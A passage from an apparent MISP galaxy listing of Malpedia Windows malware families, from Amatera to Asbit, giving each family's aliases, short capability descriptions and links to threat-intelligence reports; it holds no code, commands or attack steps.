https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware

https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4

https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do

https://www.bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey

https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672

https://www.intrinsec.com/wp-content/uploads/2025/08/TLP-CLEAR-20250828-VAIZ-FDN3-TK-NET-EN.pdf

https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a

https://embee-research.ghost.io/shodan-censys-queries/

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://embeeresearch.io/shodan-censys-queries/

https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot

https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf

https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_1_kasuya_en.pdf

https://thecyberexpress.com/amadey-botnet-back-via-phishing-sites/

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf

https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Amadey/amadey_config_extractor.ipynb

https://www.linkedin.com/posts/idan-tarab-7a9057200_apt-ttps-coralraider-activity-7238998746254999553-57LG/

https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become

https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/

https://isc.sans.edu/diary/27264

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/

https://twitter.com/ViriBack/status/1062405363457118210

https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer
https://www.zscaler.com/blogs/security-research/latest-version-amadey-introduces-screen-capturing-and-pushes-remcos-rat
https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html
https://twitter.com/0xffff0800/status/1062948406266642432
https://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-amadey-56c8c6ea0ad6
https://www.linkedin.com/posts/teethador_swisscom-tdr-threat-brief-unmasking-amadey-activity-7403675667952844800-tFQL?utm_source=share&utm_medium=member_desktop&rcm=ACoAACj0LVYBeElAxa8V0Hp7xqtTvjtkmE0QZy0

Amatera

Amatera is a stealer written in C++. It conducts anti-sandbox analysis before enumerating browsers, exfiltrating found cryptocurrency files/wallets and possibly credentials.

The tag is: *misp-galaxy:malpedia="Amatera"*

Amatera is also known as:

Table 3169. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.amatera
https://cip.gov.ua/services/cm/api/attachment/download?id=71278
https://github.com/VenzoV/MalwareAnalysisReports/blob/main/AmateraStealer/Amatera%20Stealer%20v1.md
https://www.proofpoint.com/us/blog/threat-insight/amatera-stealer-rebranded-acr-stealer-improved-evasion-sophistication
https://github.com/VenzoV/MalwareAnalysisReports/blob/main/AmateraStealer/Amatera%20shark.exe.md
https://bazaar.abuse.ch/sample/73fd51d4a0959e5c5a82db9be0d765069d02a2b97f51f55f5d6422a7bec01caa/

AMTsol

The tag is: *misp-galaxy:malpedia="AMTsol"*

AMTsol is also known as:

- Adupihan

Table 3170. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol
https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

Anatova Ransomware

Anatova is a ransomware family with the goal of ciphering all the files that it can and then requesting payment from the victim. It will also check if network shares are connected and will encrypt the files on these shares too. The code is also prepared to support modular extensions.

The tag is: *misp-galaxy:malpedia="Anatova Ransomware"*

Anatova Ransomware is also known as:

Table 3171. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/
https://www.bleepingcomputer.com/news/security/new-anatova-ransomware-supports-modules-for-extra-functionality/

Anchor

Anchor is a sophisticated backdoor served as a module to a subset of TrickBot installations. Operating since August 2018 it is not delivered to everybody, but contrary is delivered only to high-profile targets. Since its C2 communication scheme is very similar to the one implemented in the early TrickBot, multiple experts believe it could be attributed to the same authors.

The tag is: *misp-galaxy:malpedia="Anchor"*

Anchor is also known as:

Table 3172. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor
https://www.netscout.com/blog/asert/dropping-anchor
https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns
https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://unit42.paloaltonetworks.com/ryuk-ransomware/
https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/
https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/
https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html
https://technical.nttsecurity.com/post/102fsp2/trickbot-variant-anchor-dns-communicating-over-dns
https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf
https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/
https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.kryptoslogic.com/blog/2021/07/adjusting-the-anchor/
https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607
https://isc.sans.edu/diary/27308
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/
https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/

AnchorMail

The tag is: *misp-galaxy:malpedia="AnchorMail"*

AnchorMail is also known as:

- ANCHOR.MAIL
- Delegatz

Table 3173. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormail
https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine
https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/
https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/
https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/

AnchorMTea

Recon/Loader malware attributed to Lazarus, disguised as Notepad++ shell extension.

The tag is: *misp-galaxy:malpedia="AnchorMTea"*

AnchorMTea is also known as:

Table 3174. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormtea
https://cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/
http://report.threatbook.cn/LS.pdf

Andardoor

The tag is: *misp-galaxy:malpedia="Andardoor"*

Andardoor is also known as:

- ROCKHATCH

Table 3175. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.andardoor
https://asec.ahnlab.com/ko/47751/
https://asec.ahnlab.com/en/56405/
https://asec.ahnlab.com/ko/56256/

Andromeda

The tag is: *misp-galaxy:malpedia="Andromeda"*

Andromeda is also known as:

- B106-Gamarue
- B67-SS-Gamarue
- Gamarue
- b66

Table 3176. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda
https://malware.dontneedcoffee.com/2012/12/eyeglanceru.html
https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html
https://eternal-todo.com/blog/andromeda-gamarue-loves-json
http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/
https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.mandiant.com/resources/blog/turla-galaxy-opportunity
https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html
https://redcanary.com/blog/intelligence-insights-november-2021/
http://blog.morphisec.com/andromeda-tactics-analyzed
https://blog.avast.com/andromeda-under-the-microscope
https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features
https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/
https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation
http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/
https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/
https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
http://resources.infosecinstitute.com/andromeda-bot-analysis/

AndroMut

According to Proofpoint, AndroMut is a new downloader malware written in C++ that Proofpoint researchers began observing in the wild in June 2019. The “Andro” part of the name comes from some of the pieces which bear resemblance to another downloader malware known as Andromeda [1] and “Mut” is based off a mutex that the analyzed sample creates: “mutshellmy777”.

The tag is: *misp-galaxy:malpedia="AndroMut"*

AndroMut is also known as:

- Gelup

Table 3177. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut
https://intel471.com/blog/a-brief-history-of-ta505
https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/
https://documents.trendmicro.com/assets/Tech-Brief-Latest-Spam-Campaigns-from-TA505-Now-Using-New-Malware-Tools-Gelup-and-FlowerPippi.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://outpost24.com/blog/using-qiling-framework-to-unpack-ta505-packed-samples/

Anel

The tag is: *misp-galaxy:malpedia="Anel"*

Anel is also known as:

- UPPERCUT
- lena

Table 3178. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.anel
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/
https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Haruyama.pdf
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_2_7_hara_shoji_higashi_vickie-su_nick-dai_en.pdf
https://www.trendmicro.com/en_us/research/24/k/return-of-anel-in-the-recent-earth-kasha-spearphishing-campaign.html
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf

AnteFrigus

Ransomware that demands payment in Bitcoin.

The tag is: *misp-galaxy:malpedia="AnteFrigus"*

AnteFrigus is also known as:

Table 3179. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.antefrigus
http://id-ransomware.blogspot.com/2019/11/antefrigus-ransomware.html
https://github.com/albertzsigovits/malware-notes/blob/master/Antefrigus.md

Antilam

The tag is: *misp-galaxy:malpedia="Antilam"*

Antilam is also known as:

- Latinus

Table 3180. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.antilam

Anubis (Windows)

According to Microsoft Security Intelligence, Anubis is an information stealer sold on underground forums since June 2020. The name overlaps with the Android banking malware but is unrelated. It contains code forked from Loki PWS.

The tag is: *misp-galaxy:malpedia="Anubis (Windows)"*

Anubis (Windows) is also known as:

- Anubis Stealer

Table 3181. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis
https://cybleinc.com/2021/05/02/mobile-malware-app-anubis-strikes-again-continues-to-lure-users-disguised-as-a-fake-antivirus/
https://twitter.com/MsftSecIntel/status/1298752223321546754
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://therecord.media/russian-hacker-pavel-sitnikov-arrested-for-sharing-malware-source-code/

Anubis Loader

A loader written in Go, tracked since at least October 2021 by ZeroFox. Originally named Kraken and rebranded to Anubis in February 2022.

The tag is: *misp-galaxy:malpedia="Anubis Loader"*

Anubis Loader is also known as:

- Kraken
- Pepega

Table 3182. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis_loader
https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e
https://windowsreport.com/kraken-botnet/
https://www.bleepingcomputer.com/news/security/new-golang-botnet-empties-windows-users-cryptocurrency-wallets/
https://www.zerofox.com/blog/quick-update-kraken-completes-its-rebrand-to-anubis/
https://www.zerofox.com/blog/meet-kraken-a-new-golang-botnet-in-development/

APERETIF

The tag is: *misp-galaxy:malpedia="APERETIF"*

APERETIF is also known as:

Table 3183. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aperetif
https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/

Apocalipto

The tag is: *misp-galaxy:malpedia="Apocalipto"*

Apocalipto is also known as:

Table 3184. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto
https://www.visakorea.com/dam/VCOM/download/merchants/Grocery_Malware_04242013.pdf

Apocalypse

The tag is: *misp-galaxy:malpedia="Apocalypse"*

Apocalypse is also known as:

Table 3185. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom
http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/

Apollo

This is an implant usable with the Mythic C2 framework. Apollo is a Windows agent written in C# using the 4.0 .NET Framework designed to be used in SpecterOps training offerings.

The tag is: *misp-galaxy:malpedia="Apollo"*

Apollo is also known as:

Table 3186. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apollo
https://github.com/MythicAgents/Apollo

ApolloShadow

According to Microsoft, ApolloShadow has the capability to install a trusted root certificate to trick devices into trusting malicious actor-controlled sites, enabling Secret Blizzard to maintain persistence on diplomatic devices, likely for intelligence collection. It has been used in a campaign where Secret Blizzard has been targeting embassies located in Moscow using an adversary-in-the-middle (AiTM) position.

The tag is: *misp-galaxy:malpedia="ApolloShadow"*

ApolloShadow is also known as:

Table 3187. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apollo_shadow
https://www.microsoft.com/en-us/security/blog/2025/07/31/frozen-in-transit-secret-blizzards-aitm-campaign-against-diplomats/

Apostle

Malware used by suspected Iranian threat actor Agrius, turned from wiper into ransomware.

The tag is: *misp-galaxy:malpedia="Apostle"*

Apostle is also known as:

Table 3188. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apostle
https://assets.sentinelone.com/sentinellabs/evol-agrius
https://www.sentinelone.com/labs/new-version-of-apostle-ransomware-reemerges-in-targeted-attack-on-higher-education/
https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/
https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://cyberpunkleigh.wordpress.com/2021/05/27/apostle-ransomware-analysis/
https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/

AppleJeus (Windows)

The tag is: *misp-galaxy:malpedia="AppleJeus (Windows)"*

AppleJeus (Windows) is also known as:

Table 3189. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d
https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e
https://us-cert.cisa.gov/ncas/alerts/aa21-048a
https://www.vkremez.com/2019/10/lets-learn-dissecting-lazarus-windows.html
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b
https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023
https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.telsy.com/download/5394/?uid=28b0a4577e
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g
https://twitter.com/VK_Intel/status/1182730637016481793
https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c
https://vblocalhost.com/uploads/VB2021-Park.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-north-korea-indictment

Appleseed

The tag is: *misp-galaxy:malpedia="Appleseed"*

Appleseed is also known as:

- JamBog

Table 3190. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed
https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf
https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/
https://asec.ahnlab.com/en/30532/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.youtube.com/watch?v=Dv2_DK3tRgI
https://asec.ahnlab.com/en/59590/
https://www.telsy.com/download/5654/?uid=4869868efd
https://asec.ahnlab.com/en/60054/
https://asec.ahnlab.com/ko/26705/
https://asec.ahnlab.com/ko/54804/
https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf
https://www.youtube.com/watch?v=rfzmHjZX70s
https://asec.ahnlab.com/ko/36918/
https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf
https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf
https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2652.pdf
https://asec.ahnlab.com/en/36368/
https://asec.ahnlab.com/en/41015/
https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/
https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf
https://medium.com/s2wblog/kimsuky-disguised-as-a-korean-company-signed-with-a-valid-certificate-to-distribute-troll-stealer-cfa5d54314e2
https://www.genians.co.kr/en/blog/threat_intelligence/triple-combo
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf

ArdaMax

According to f-secure, Ardamax is a commercial keylogger program that can be installed onto the system from the product's website.& When run, the program can capture a range of user activities,

such as keystrokes typed, instant messenger chat logs, web browser activity and even screenshots of the active desktop.

This program can be configured to a complete stealth mode, with password protection, to avoid user detection.

The information gathered is stored in an encrypted log file, which is only viewable using the built-in Log Viewer. The log file can be sent to an external party through e-mail, via a local area network (LAN) or by upload to an FTP server (in either HTML or encrypted format).

The tag is: *misp-galaxy:malpedia="ArdaMax"*

ArdaMax is also known as:

Table 3191. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax
https://trainsec.net/library/dissecting-ardamax-keylogger/
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://medium.com/@MalFuzzer/dissecting-ardamax-keylogger-f33f922d2576

Arefty

The tag is: *misp-galaxy:malpedia="Arefty"*

Arefty is also known as:

Table 3192. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/

Ares (Windows)

A banking trojan, derived from the source code of win.kronos. In August 2022 it started to incorporate DGA code from win.qakbot.

The tag is: *misp-galaxy:malpedia="Ares (Windows)"*

Ares (Windows) is also known as:

Table 3193. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ares
https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan

https://www.zscaler.com/blogs/security-research/ares-banking-trojan-learns-old-tricks-adds-defunct-qakbot-dga

AresLoader

AresLoader is a new malware "downloader" that has been advertised on some Russian language Dark Web forums “RAMP and "XSS" by a threat actor called "DarkBLUP". Researchers assess this loader is likely a legitimate penetration testing tool that is now being abused by threat actors. This is because of a similar project, dubbed “Project Ares,” was previously uploaded to GitHub as a proof-of-concept (PoC) by the well-regarded user and red teamer “CerberSec.”

The loader mimics legitimate software to trick victims into executing malware with administrator rights on their machines. Additional features of the loader include:

1. Written in C/C++
2. Supports 64-bit payloads
3. Makes it look like malware spawned by another process
4. Prevents non-Microsoft signed binaries from being injected into malware
5. Hides suspicious imported Windows APIs
6. Leverages anti-analysis techniques to avoid reverse engineering

Furthermore, It was observed that SystemBC, Amadey, and several Raccoon Stealers were directly installing AresLoader. To date, the AresLoader downloader has been seen delivering payloads like SystemBC, Lumma Stealer, StealC, Aurora Stealer, and Laplas Clipper.

The tag is: *misp-galaxy:malpedia="AresLoader"*

AresLoader is also known as:

Table 3194. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aresloader
https://twitter.com/k3dg3/status/1636873721200746496
https://research.openanalysis.net/ares/aresloader/loader/2023/04/02/aresloader.html
https://intel471.com/blog/new-loader-on-the-bloc-aresloader
https://flashpoint.io/blog/private-malware-for-sale-aresloader/
https://www.zerofox.com/blog/the-underground-economist-volume-2-issue-24/

ArguePatch

During a campaign against a Ukrainian energy provider, a new loader of a new version of CaddyWiper called "ArguePatch" was observed by ESET researchers. ArguePatch is a modified version of Hex-Ray’s Remote Debugger Server (win32_remote.exe). ArguePatch expects a

decryption key and the file of the CaddyWiper shellcode as command line parameters.

The tag is: *misp-galaxy:malpedia="ArguePatch"*

ArguePatch is also known as:

Table 3195. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arguepatch
https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/
https://www.mandiant.com/resources/blog/gru-rise-telegram-minions

Aria-body

The tag is: *misp-galaxy:malpedia="Aria-body"*

Aria-body is also known as:

Table 3196. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody
https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/
https://medium.com/insomniacs/aria-body-loader-is-that-you-53bdd630f8a1
https://securelist.com/it-threat-evolution-q2-2020/98230
https://cocomelonc.github.io/malware/2023/09/25/malware-trick-36.html
https://securelist.com/naikons-aria/96899/
https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf

Arid Gopher

This malware is a Go written variant of Micropsia and according to DeepInstinct it is still in development.

The tag is: *misp-galaxy:malpedia="Arid Gopher"*

Arid Gopher is also known as:

Table 3197. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aridgopher
https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks
https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/

AridHelper

Helper malware associated with AridGopher, which will provide an alternative persistence mechanism in case "360 total security" is found on a target system.

The tag is: *misp-galaxy:malpedia="AridHelper"*

AridHelper is also known as:

Table 3198. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aridhelper
https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant

Arik Keylogger

The tag is: *misp-galaxy:malpedia="Arik Keylogger"*

Arik Keylogger is also known as:

- Aaron Keylogger

Table 3199. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger
http://remote-keylogger.net/

Arkei Stealer

Arkei is a stealer that appeared around May 2018. It collects data about browsers (saved passwords and autofill forms), cryptocurrency wallets, and steal files matching an attacker-defined pattern. It then exfiltrates everything in a zip file uploaded to the attacker’s panel. Later, it was forked and used as a base to create Vidar stealer.

The tag is: *misp-galaxy:malpedia="Arkei Stealer"*

Arkei Stealer is also known as:

- ArkeiStealer

Table 3200. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer
https://ke-la.com/information-stealers-a-new-landscape/
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer
https://isc.sans.edu/diary/rss/28468
https://blog.minerva-labs.com/a-long-list-of-arkei-stealers-browser-crypto-wallets
https://forensicitguy.github.io/analyzing-stealer-msi-using-msitools/
https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/
https://m4lcode.github.io/malware%20analysis/vidar/
https://threatmon.io/arkei-stealer-analysis-threatmon/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468
https://www.bleepingcomputer.com/news/security/hacker-breaches-syscoin-github-account-and-poisons-official-client/
https://drive.google.com/file/d/1wTH-BZrjxEBZwCnXJ3pQWGB7ou0IoBEr/view

ArrowRAT

It is available as a service, purchasable by anyone to use in their own campaigns. It's features are generally fairly typical of a RAT, with its most notable aspect being the hVNC module which basically gives an attacker full remote access with minimal need for technical knowledge to use it.

The tag is: *misp-galaxy:malpedia="ArrowRAT"*

ArrowRAT is also known as:

Table 3201. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arrowrat
https://www.arrowrat.com

ARS VBS Loader

ARS Loader, also known as ARS VBS Loader, is written in Visual Basic Script and its main purpose is to control an infected machine via different available commands, acting as a remote access trojan (RAT). Its code is based on ASPC, another Visual Basic Script malware, which at the same time seems to be based on SafeLoader.

The tag is: *misp-galaxy:malpedia="ARS VBS Loader"*

ARS VBS Loader is also known as:

Table 3202. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader
https://twitter.com/Racco42/status/1001374490339790849
https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/
https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/

ARTFULPIE

The tag is: *misp-galaxy:malpedia="ARTFULPIE"*

ARTFULPIE is also known as:

Table 3203. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.artfulpie
https://www.us-cert.gov/ncas/analysis-reports/ar20-045e
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/

Artra Downloader

The tag is: *misp-galaxy:malpedia="Artra Downloader"*

Artra Downloader is also known as:

Table 3204. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.artra
https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html
https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/
https://securelist.com/apt-trends-report-q1-2021/101967/
https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english
https://www.proofpoint.com/us/blog/threat-insight/bitter-end-unraveling-eight-years-espionage-antics-part-one

https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf
https://www.freebuf.com/articles/database/192726.html

Asbit

The tag is: *misp-galaxy:malpedia="Asbit"*

Asbit is also known as:

